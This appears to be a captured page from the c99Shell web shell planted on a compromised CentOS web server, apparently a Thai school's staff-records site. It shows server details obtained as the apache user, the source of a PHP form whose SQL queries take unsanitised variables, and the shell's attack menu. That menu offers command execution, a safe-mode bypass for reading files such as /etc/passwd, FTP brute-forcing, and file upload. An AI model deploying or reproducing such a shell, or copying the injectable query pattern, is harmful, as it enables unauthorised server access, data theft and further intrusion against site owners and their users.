!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/develop_person_depart/   drwxr-xr-x
Free 52.82 GB of 127.8 GB (41.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     EditDecoration.php (4.58 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();

 if (
session_is_registered("valid_user")&&session_is_registered("Priority") )
 {

include(
"../include/FunctionDB.php");
include(
"../include/Function.php");

ConnectDB();
$sql "Select * From personal_tb Where Teacher_code='$Teacher_code'";
$result mysql_query($sql) or die(" Error").mysql_error();
$rss mysql_fetch_array($result);
/////////////////////////////////
$sql2 "Select * From history_decoration_tb Where Code='$Code'";
$result2mysql_query($sql2) or die(" Error").mysql_error();
$rs mysql_fetch_array($result2);

?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!--
.style6 {font-size: 14px}
-->
</style>
<table width="545" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td width="545">
            
    
            <form id="form1" name="form1" method="post" action="EditDecoraSave.php">
              <div align="left">
            <table width="93%" border="0" align="center" cellpadding="0" cellspacing="1" style="background-color:#eeeeee; border:0px solid gray"size="12">
                  
                  <tr bgcolor="#FFFFFF">
                    <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">ª×èÍ 
                      - ¹ÒÁÊ¡ØÅ</font></div></td>
                    <td bordercolor="#FFFFCC"><font color="#003366" size="2" face="Tahoma">&nbsp; <?php echo $rss[First_name] ;?> <?php echo $rss[Teacher_name] ;?> <? echo $rss[Teacher_lastname];?></font><font size="2" face="Tahoma">&nbsp;</font></td>
                  </tr>
                  <tr bgcolor="#F3F3F3">
                    <td width="25%" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">»Õ·Õèä´éÃѺ</font></div></td>
                    <td width="71%" bordercolor="#FFFFCC" bgcolor="#FFFFFF"><font color="#000000" size="2" face="Tahoma">
                      »Õ ¾.È.
                      <input name="Year_receive" type="text" class="style6" id="Year_receive"  value="<? echo $rs[Year_receive]?>" size="10" />
                    </font></td>
                  </tr>
                  <tr bgcolor="#F3F3F3">
                    <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">ªÑé¹à¤Ã×èͧÃÒªÏ</font></div></td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><input name="Decoration_name" type="text" class="style6" id="Decoration_name" value="<? echo $rs[Decoration_name]?>" size="50" /></td>
                  </tr>
                  <tr bgcolor="#F3F3F3">
                    <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">àÅèÁ·Õè</font></div></td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><input name="Volumn" type="text" id="Volumn" value="<? echo $rs[Volumn]?>" size="15" class="style6" />
                        <font size="2" face="Tahoma">µÍ¹·Õè
                          <input name="Col" type="text" id="Col" value="<? echo $rs[Col]?>" size="5" class="style6" />
                          Ë¹éÒ·Õè
                          <input name="Page" type="text" id="Page" value="<? echo $rs[Page]?>" size="3" class="style6" />
                    </font></td>
                  </tr>
                  <tr bgcolor="#F3F3F3">
                    <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">ÅӴѺ·Õè</font></div></td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><input name="Orderlist" type="text" class="style6" id="Orderlist" value="<? echo $rs[Orderlist]?>" size="10" /></td>
                  </tr>
                  <tr bgcolor="#F3D6F2">
                    <td colspan="2" bgcolor="#FFFFFF">&nbsp;</td>
                  </tr>
                  <tr bgcolor="#F3D6F2">
                    <td height="28" colspan="2" bgcolor="#FFFFFF"><div align="center">
                        <input type="hidden" name="Teacher_code" value="<? echo $rs[Teacher_code]?>" />
                        <input type="hidden" name="Code" value="<? echo $rs[Code]?>" />
                        <input type="submit" name="Submit" value="   ºÑ¹·Ö¡¢éÍÁÙÅ    " class="button" />
                    </div></td>
                  </tr>
                </table>
          </form>
                     
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2">
      </font></td>
    </tr>
</table>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../login.php\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0161 ]--